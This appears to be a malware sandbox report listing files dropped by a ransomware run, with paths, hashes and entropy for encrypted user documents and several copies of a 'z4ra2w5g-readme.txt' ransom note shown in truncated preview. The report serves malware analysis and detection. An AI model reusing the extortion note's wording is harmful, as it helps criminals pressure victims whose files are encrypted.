                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Desktop\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\ATJBEMHSSB.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.857927478487206
                        Encrypted:false
                        SSDEEP:24:WXJcWhxXhC0TZADgnS3E3O2B81PT1LpcyRee1HpQdwBuutrBnKo:WXJhnRvWgRWPTTdjNGWhKo
                        MD5:BC51C1ABF455BAB0EC5D16988CB18187
                        SHA1:ABDA93FD95E41D3BA09CE1F40FA035936E85345F
                        SHA-256:EAC6622B9B80B70569137E04B334EEDB8939BCA5BE7079E3A2186F4B5D2C5EFE
                        SHA-512:065F632BCC886F0EA353D4543E94A30B08820073FFC25D02FA4EC2D06625E53E23B58ABCD6CC1FEAC453762207004E29A06E00826D62E3011D462D12532372CC
                        Malicious:false
                        Preview: .>/B..).._..^.~NX........O.....,n6=9_. .^.7&.L...=P0.F...J.........IsErKtC3O5,..-`...Ka7J.#.>B.)@....+.$.J..Z~k....e1|.;..........V....'L.W.2..?...1.OMx..pW..J.{B...D0....wz6...4.....c........D..ed.JG!l....O....B.;_.#*k.....}.F#.T3 ....21C......Y..@"/.L.lSS.S.. ....u=.H..~#...7P.....a6_.E...f.K.$.a...i#8....k.S...U./f.t...R.....1.N..Wx..9.FtL...2a....d.o.-..]Bb....>.......b.K..G% NiS..5Q...I..d.g[..D.]z.h.N.O..ku.......X7.#k..S.%H..;{.....U.zH>..K.f.K....."..y...+9.....j.A.x....Ey...k..I$>*...F....|.o..5..f.;.PsJP.......Db..K.h..J3.V...q....(x;.f..61....u.#n(V......I...l......(..+."..u...........k..o7t@Pq.+.#9.rc..`....~K..S.o....l.. ,.....$..+.d.dH.<....j.. ......[y....UZ{.:.......)..} #."....|.3._.DG..d........,Y..g......s..1.+t-.......QAE...|2.9....E.-pN...h.....!" ....5.......-..-.e..w.]....KVLO...`kK#..O.An{..%..N....ry.H ......R.<c2&..<.L.n..^.....~..\.~.]!......c7f....J...M._!.....D.H..........^c..m...T0e:._..B....>...
                        C:\Users\user\Documents\ATJBEMHSSB\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\AZTRJHKCVR\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\user\Documents\BUFZSQPCOH.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.849125659232638
                        Encrypted:false
                        SSDEEP:24:1+5Xbl9spJnIl8vffQBjq1mYD3VbJ9lxihKw+xMuutro:1+NLsuC3DFb9khKvxuo
                        MD5:D8B5A662C792F96BE08D8C157E6F0393
                        SHA1:063609480BD5F82DC33F602874332090C0BFF5E0
                        SHA-256:104B833A7E464F0F158A391E3BCD080AF680A283A8AECA77E9A51EF8B7A39EE3
                        SHA-512:6F8951C8356ED3081BCC33991D7C5CEEEA4AD6E7324E70E9FF40C26510DC7EFAE1482A35EA297251DEEE3C9C42332DBF910F0193DF29F5D8285415307CC3B6BB
                        Malicious:false
                        Preview: ....u.TX.....~....~._.tl...^.....}p....Bu.8.G.m.......O...g.3wZ......H.....).z....uc.#...kc.7......q.\<g7.......c..c1E......3.%.Tf.x.1...>...bs..6..Fe..o.@.d...X..>.^H...?...^O?&...v%.-......../.LO.U..B..qN........F..."..g/u...~<.G..0......f"2.........y.4.-....}...`....g.<:..../......Q.R....?._).3.8..C2Vt.r..C.?{hg....ft.L....dJ...wSe..B.%wh.F..&. T$.'..Z~...|...}.k|.....K...&.v..dL|.-..9....#..F../_....{..$..... ..).x.....8.*.H..^}).~p...e..pH=R...)....i...uK.}K......5...".<^.p.G\............i...+......)p,.s.......;R."?i?....C=&y..N.>.zB..a..i..E.ES...x.>e...1}...91..j\t;..{.....<.e3.{8&.s.!Kf.R....Z..R.?....{G:9.."G...ZF.X.F."\:.......}.^.(.....9....`....j8..J......F.~L?..7.;X\S..NK..<...M...i._q.C...W......0............K.u.m..\|y.5../*...).......l!.5..dQ..Z....F..k/..b>......;...Ylc.!.,*a.X......9.Nj.. v. ].*.gA{I.P..E.U..B.-Cb..-..VQ..U..........YO./....>..W..S.4.[O...?U..Z.0U.v.i.,.:..R...@........NA_..W.u...#.%.H=.....p.%Us.>hN.f.
                        C:\Users\user\Documents\BUFZSQPCOH.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:SVr3 curses screen image, big-endian
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.863952304507402
                        Encrypted:false
                        SSDEEP:24:Qx0/onZf/KKdPc3DpjFwHlTzypEOj7juN8rfHAuutrmfb:E0/opKKO31BwFT+5jukfHC6b
                        MD5:2010AD4FC99B5D215DF3F6DE0CB97D8A
                        SHA1:369A7302995B83B9D1629E0BA102EB13FBD30BAD
                        SHA-256:430CC112C049B268E664C7DEE7FAB87F121EFAA9F651AE521E6D847878AB04AC
                        SHA-512:DB78D3DE90D281D709335B2390E64032A1429A8056B42C6589DFDDEE027FC34F88E9BB90E1EB4E75B7E891DDDB548C5A1EAEC78D7FC3A477A364993825B8C484
                        Malicious:false
                        Preview: ..'B..SP>.\......m...(x..>*......qq.<.aU....~..0......>.*z...M..PJT.V.(.....u.+.'..a(..xg..].h...M.b....X6ow.J*.J;.M.L....9".A...t].....jy.*.r...U#.]..u..6....eN..n....W.F.j...d+....h.%..)4..A$..X9..j..1..1}V.."..9P...Q..v..27..&&.f....iUe.)Z~_..8.9.@&.O..e8..eE.&..=Eh~:..#.uF.~dB..(...H..4gx....^n..D.(I..^.".)...Twj.....N...q.........t..9.....t...,.....;..;Mb..#e8..^..n....ZG.....5....A.1..7.6.@..W#.<.....$.5...8..S.....4..b..w..V<1.._...>.].~.6.{n..rG.Y....3IZ.C..&...|....c.k..?......x.<..<{..H.|......./u.n&.cLL.....U`..rY..M"...?.k.._o...`BnQ...-..p...,O.%.3.....V+hD........o..KX.E.=l}.=...`....T....E..B..{O{.>m...X@.j.e.|.#.Tcq..n...\..(....X.R.C.ufQM...0o..p..+..g.......6..g...b[.n}...B...='../...T..<J..D/....:.8.`...iQi.1_i{K......a.:T6=$.r.M.%....j..........0T.g..,)...y...`.,lO.....h..%.F...f.i....|9..PU.P`.p0m.....Z.g.KO1.m...Idw.@......;]C....E.....hy......Fa. .e....S...........z:.qE+...Z........m..3.7=:..|*...n.
                        C:\Users\user\Documents\BUFZSQPCOH.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.853717200788676
                        Encrypted:false
                        SSDEEP:24:cnOsslToQKkI2M/zLTK1Q3binrpysQ1cF5uutrBk:coMQpMmUspysR2
                        MD5:8F7596D73F1BB85EFF16EA37D7EE6461
                        SHA1:DAE3CE7E9EFC210901E325B09615A9C22C5380D8
                        SHA-256:C3CCC15F643E03C03B7105A0DD8483959AB6F979C2EF5AF89046E1A58B4D12F1
                        SHA-512:836D62172C651DC8D7DA33DB7627837A9B209544C586B8EB78E0B2F7DBB0063332A7ED848651ECCB4FD6BD71078D8059465D78A80905F5CBAC3DC624FABB05A3
                        Malicious:false
                        Preview: ..I.c..M.ap..t...._8..eNa...{A.7..P...3..#..4.t.L."....)..eO.@;cSu...u..?.....cb.....50...RB........^..z.{]..^...b6.;.......K_.@q...M......e...u....0....=.G.....?.....W..gO...mh)...7........'..2."......Y.v,&..`.,g..........J0.q..$.q....B7v....L.0...X...1.../.|...iLT&.....u......6........cA....&d.Hs.TOwh;:.fE..B.A!~.lCx..rjd.IG.."..DCln..2........0.Nz.3q...PzL..`.c~....-.B.s..a......D.0.... ....{ReG. .A.~j].H.i.....B...r...8Bv.yg...u..l..AA.&.....{.......Q.f..P.!5c.7=;d.....9......[ZYgC..=.Uy.h7.SG...I.*.0...<.....Z...7........<G.5h.....r....=`..e?9c...R....8l/.Z.:.<....Z..K..7k.x..QSG.j..i...|H..#J.s....,..h....5b....x&y...D}..O...N&s.\..)L.ciJlr.cq*%...=.......k-jQG...Z.eBB.4i.'zl.!0.....r.x.n.?d......H.....w.<.:.U_%.X....k..>.H..t............x3IV..bG.v.u].H..=@..$....J..ym:..Z^..].:...=....7...zM1.X...,\. x.....S6.../%o..z."1..`.9..6.W0(.X...#I....9b*. .}.....n...y.4..W....+f.(....v....|...?Z.k.!-/.e<H}%..)1.0.gU.....vA..y...}.
                        C:\Users\user\Documents\BUFZSQPCOH\BUFZSQPCOH.docx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.85213680044442
                        Encrypted:false
                        SSDEEP:24:bkmH2wqFbzBIJ/s5NvJFFR+cN+eyRbA0UJ10rmuutrGt:bkmGFPE/s5Nr9JyC104Gt
                        MD5:E3ADD11EB60DE7294ABD561147778705
                        SHA1:452C7F8D477BBACEAA14C2ED4CF5C9DBEE93F0D2
                        SHA-256:00EA365554A04AEC02D529EA0D5C32D1AB9EBC793B3A08F29CE883821FD23648
                        SHA-512:0B13CCC27E33FC5E957B69EE341A19087B67CB3DE752C5043F7DD7AB180C08199F9360727A1923397854C559702F8DECE270BAEC55CA3B0C4368F1654700982C
                        Malicious:false
                        Preview: I....6.....g.Y..\Em..Ex..P.k&.dk.....2+.:....]..l...1VK.._..Yxn..B..1z.?.Y-.&......AR..dQ.....).')[......x...y}...../......,.{/..2..@.V...rV..a.z..y...rL.p..S...!h....Ts>.5....~0W...."Y.b.nd........e.......gW../n....o..$..J".k...u......I..j..Q....Y..s....~E.y.....MA.|..-vk...~p...k".....r.K...?...........w..|..]..{.*LO.E..........?P........4#e....>M.....1...QY.M./@...c.".?..w4)0.).1....c..9.....#o........@...N......&..?7...w(.%zr.>.FQ.S...E'......C..+./...+p.A.p...AvT.Z4.^*..^..@...U...)g...*..\ *.!..Zr...9.C....$.;.>p.}M..4An[.b.,...I.c.N....6...*.....%X...2?X.3..!..^...C.{.+{..yX........4...r.Y.......S..Y.3.....^.o._...J#...O]..)j.O4C.G..FkZ..KFJ...`.GR.?...O.......o.%..E_.u4.Y8.....j.2...x.6.B.Z...@.iie..J...:j.....>p.K.}"](lm.C..q.\F.... ......sN.....s.AY..[IvQ...W.c.&...n.^Q5.....O>...q.O@g...~.W_...+.Z..g..(.v.[V.U..m..q7.....Y.v..;.$...|......2..=.g|..?3S..b.HF.{....O..E^....Y.a..C.p.....5.K....o.=..If..=.S...E..\.~.
                        C:\Users\user\Documents\BUFZSQPCOH\BWETZDQDIB.xlsx
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.856852113960079
                        Encrypted:false
                        SSDEEP:24:kGuOQtDRuXIb4inowuxwcnL/Jx3ouvfQLrRbHeVSuutrODsmL2Hh:kGq/u4btot9x4ugYYOD1Lc
                        MD5:30B2E614724BE032ECAB2864F0A5F6EA
                        SHA1:0C397F4AFFDACEB45443BC2561BF0DCCC5F0FDA9
                        SHA-256:6EBEB01BA5B0784EA9B47F6B6935431D446981C47185477A6F4D8ACF899B9866
                        SHA-512:81EE33341AE88860D80FE7890D277ADAF3F70AA586A8A4FAC2D6F5F606E1D6D644BB59D1A1140F44D0B42E69DAF3288AFB3A78152B91E3760D99BD81EC83E2C5
                        Malicious:false
                        Preview: ...W;=..?.uoH...)".o..=.*......M...o.a.3.Z..l.....5. ..?C......C.T....][......8.y..+P.Jk.....)C3.V.f?.a.X)-.~.._\1p._4.o..BaX.....i\...=.k..4...#....$`.....O...p.x....@...!K|.A_....=..Z.:....=5.-.;.'.[..c.q...D.....s..lv...W...3.L......}......2.^.[..?Y..$Aa......0.....zr.,@.> Q.......M(j...6c.....R......G._...eo..C.....O..A..ox.c..[S+e.........._....7...V..zF.\..:y.0._.v..vt...>.Gss..,...|,1.XK.t.....b.y..w..a.*.B..V1!.~j.R'....}.T7-t3N._..(..[.f..J.WC..;.|7.G.5G...e..........Q......U..c....U;?&s]..$..5....RA..!.z....[.....V.ZW`~)..V..../..M+[<.].........o.(]m7zKL.5V...".F......[.fq.=.o;^....&..Q...C~.V....z..Uk.cq...W#..]..I.LI.,..4..i..Bmm_n.Zfj./...F...O..b...M,....<.*...xU..G.(..XM.du$.q..6wck..T....\pI.....P....[....m...._`U...*..~..&....)=#...{/..:\.U..~.....@.{......T...-}.'r]...O..X...k......q.N,s.L.|..2...-.....&[/L...Th.{.!.P..q.......`[....,.....C..... ....s.%.............:I.Z*......E.T9.j...*L......FD./.'.^2.Ly.
                        C:\Users\user\Documents\BUFZSQPCOH\EVCMENBQHP.png
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.840721403167979
                        Encrypted:false
                        SSDEEP:24:TA0t+dV998bP1SnDdVS2jUn6JMN1PZIWdB7SEOAjguutrnz:Tf8dVH8Zu/hgNdZQnz
                        MD5:8824A94624AD3D2F6A7693AA86CA8FB1
                        SHA1:BB8B577C30DED531078E71E6831D48DC152FCD45
                        SHA-256:920534EA56E8A23F98FE4DDD2E4FF2F6FC85ED7CDB129DF1C42CB9622C61278A
                        SHA-512:3A65DC9EA6AFFE284786B732423E996A26417176FFFB9872DB072B5D4C61311390B5E6F5967C1BC526F3875EF097B1300D273C7D05F4C239D59DDCA21427BC8C
                        Malicious:false
                        Preview: ...,$.,z6....Tl*..$.H.g..n.z.O]ET-g..{....}-Y..Ga@...Z~....>...=J;..4k3.#....1.f.....[MOd.x..Pqeu.0..;I..qc.aA.o.pi.d.w.....c..:..No.XO...s9..3......K.f....Q.pD=.R.. t+.....U.K..I.....,C....,..>..44n.+^...i.....2j)*.=r.vO..U..,A/.=a....{.`9....N..E.J..n...4...h^..KM...&N%....YEw.H...:...)9X.C.a.9.V...r..f.o>.R6.c.."{.m..E.....D....#|...R.NDd..'a..3...3O..e7....2.8_.K0R...^....&..0....e.RLy.....i..bf...k.Lg.....I).v!D..W...r.......5'...x.}..o.;oz....<iI.9wK...:.pD..&..~.p.dYz..\c..M...F..=...V./.!......5......=S.U....,....*f..-../.......,[.....5]z...a.((U..W..Y_&<.......}.3...]2......F..gtw.K...!.:jw.~.Yo5k..rU)U_.x..U.2.-..5E.r.d..0u"4.8gA....c<..:c..ox~.(.gT..ot1...J..r.-hy....fU|k..p.+.a8........K. .&]T-.1... !D..g.j.-H/.=p5v.d.-7r..6Y.\..aD,M.PN..,.........YM.YA.......Y...).S...]....U....2.E%.oy)..{..%H.prZ.b<V.'{Q....S.1KX..E`..[...z[U.,UC.....F.iM.TU'.@5.."...0h9.c..@.r.-...[...u.D..=z......M..c9.....pG....G.2..[........,.3
                        C:\Users\user\Documents\BUFZSQPCOH\MIVTQDBATG.pdf
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.84216232222916
                        Encrypted:false
                        SSDEEP:24:rHImCc73Z2VcCBfIMH6DI2TfUv6cxsvu2HeMYuutrKD:rpJ7pidBfIMHX2TEs6M6KD
                        MD5:3B319455C552B222BB30912EE4230654
                        SHA1:ABB5A4C5B4432A987E74DABE06780EB6FD2D8B5D
                        SHA-256:CFCB54C666A984C4B02536F331C36504E58E0730AAFA2EF5897ED2BAEB997158
                        SHA-512:6610A40C74BD11C956798B751C04DEE43590D20D072DB24E2A68898E9D80797E8917842F35CD27A1B80CB40FD1A9ED449BBC2C6E539987F21EA42575406F8915
                        Malicious:false
                        Preview: .D..q....C.>.q.......A..%+ F..B..........n.6.P.-..)v.^..2..4H[i.....m.... ...f.E.$..6.}..1;......{*...s~l.j.h..t.d ...*fV|.Q.....Q..Y..;Q_. .X...T.V.1.d.Z^o.>.....<.s^Z.b&.AX$.AB.ek[.YT..w`.."._TEu..X.La.*5..!'..JNsEZX..5....M%.7....W).2G...U....)..k`<........E`.c...j..p.id.v......H..Ua.C.......Q.e.&...o.....p.s....>.wW..^i.3..\}.Y.....X..*...D8Zv.[Am..w.J(*..1....&...v.-.f_....u+...-.J.Z...k.{..Uzw..O..;/.l....>..e..].~.3.M...1..u...#..w..G.p. ..L.....\......._...fA..y......E.....f/...?*.M`...\..>O.Ss..M&.`....~k;.G..7@(....:..i.;D.U.iA..{.l.">..l.Z....MN..x....H.J#..#.....{I<0.v.b.$ky.,..t......{........n.C...1.(..iZ.H.4BF.7..[..{...2-..uL.4./......Y.}...].....+....0.Ty.%..4...Jn`..}?%..j..G.....~............q..f..n.b.S=..-s.K..*.d......a4....u.zI...........P.W..h.TR.8....(...$......7..fpg...\..>/..F........;f.@..........f..s%.x....nTh.3|.....C..{.z.W,%u|.F.^^P.....p'..6%{CL$.B.lG.-p."...r b...f..._.yJu.q...S:..ph....YE.
                        C:\Users\user\Documents\BUFZSQPCOH\MOCYNWGDZO.jpg
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.8596202826606945
                        Encrypted:false
                        SSDEEP:24:43n75bbGT4/4Lz8Pagd1fzi4FgWV+alph/y8GbrMrQho2D8uutrH/:4X75ba8uACAebW84b/y8j6z6f
                        MD5:5C01D4B4C431AC74A6FB0A9E35C5F98D
                        SHA1:CEAD6C4416534089AE27C4A95F9B16145F5BDBC8
                        SHA-256:ADD433F298E22DCB0C239F475BA57D3C0E04081CF4780231B0B949AD7ABBAB75
                        SHA-512:8EFFC8887433BC49D6A826666FD3E948049C8651794DB438AD7CACA8D8B7E63D5F87A509F8F7BD0BEA715073BF530EBD141C83C265D83312ADE7B52D5F4B4FFA
                        Malicious:false
                        Preview: .x..~.Ei.{.....<.{~....H..\......[..WV..D5.....IG....W..J.&4.UT..."Ex.r..H.......].g......if.,..5....k!2Z.Y.l.....gd<$.#...I.3?.rx..-../......H>q .."...x+ N......>e..A..I.......T..+..w.{.7.}.nq8..y.^:\.....f....\a]9.l.b...!..K..D..`(R...M.QU....[.m.|u.......b...x.v..Il!E:.f.^.f<.[l$..}C.q..F.u.m...J....33..<Qz.....).-.....UTJ.L[.-....j..~ .M..A.]..S.;...|.E+...[H.."8? ..{..d.9.?..k.7........VY.se.s..N...1r..[...eI....^....bz.&.9L&&.B[..9..G.........k.`Y..Y....v6..?c..'M....l..n.p.!9me..L[(....JA.:8./.!0..../......-..Q.z;...,I.u...........2.VTl.g4.....,..V...oM.7.d...ed.<..:.IZ".{7..K.q..t...=.{<"..E..ZZ4QJ... ......X...(...FNi3..N..9.^A...,....P.L.i.%V..[.e.W.{.7Pma:....$F..T....0.'....V.O......#....k..`].7.6.!6.M.G.XR).ZR.:&.._dC..+...X.....)...v....l.Aqi...<=....5...*..c.k...y..\.......aY..Ajvo=Kr..[x...*'<..m1...x*....4eS......G.s.x....dj..Y.1Gh.c.$8.....BNw.......k.wM.+....."".Cw...8.JV..@.|*E..?cB.1E4.Y\.@S.b......,).....
                        C:\Users\user\Documents\BUFZSQPCOH\QEURJOJQOH.mp3
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1258
                        Entropy (8bit):7.869445735260569
                        Encrypted:false
                        SSDEEP:24:ovOqgTp5WRRJK3SOier2jwcj2w6FRe+uxwtkuRnJMAWguutrmD2:ovOwRvsAjwcj23ReZ2tkuRJMdim2
                        MD5:F324CB0BFDB11E67DC56D76D87CC0821
                        SHA1:6CF063CA59CBAC026E17C43DE556CFCB1727F699
                        SHA-256:9E0BE9609236AB95AE16484D6FAA4FB9F2014B003D3C852E739E98F017FFCB22
                        SHA-512:6F4BBBD622319842103D57538A13DBF7F2D13685C7C101877FE9A0FE537DD9B4E3A1FE9A2A8AD36D350CC8021CCA0C89164786697653987270655F3A06CAAF9E
                        Malicious:false
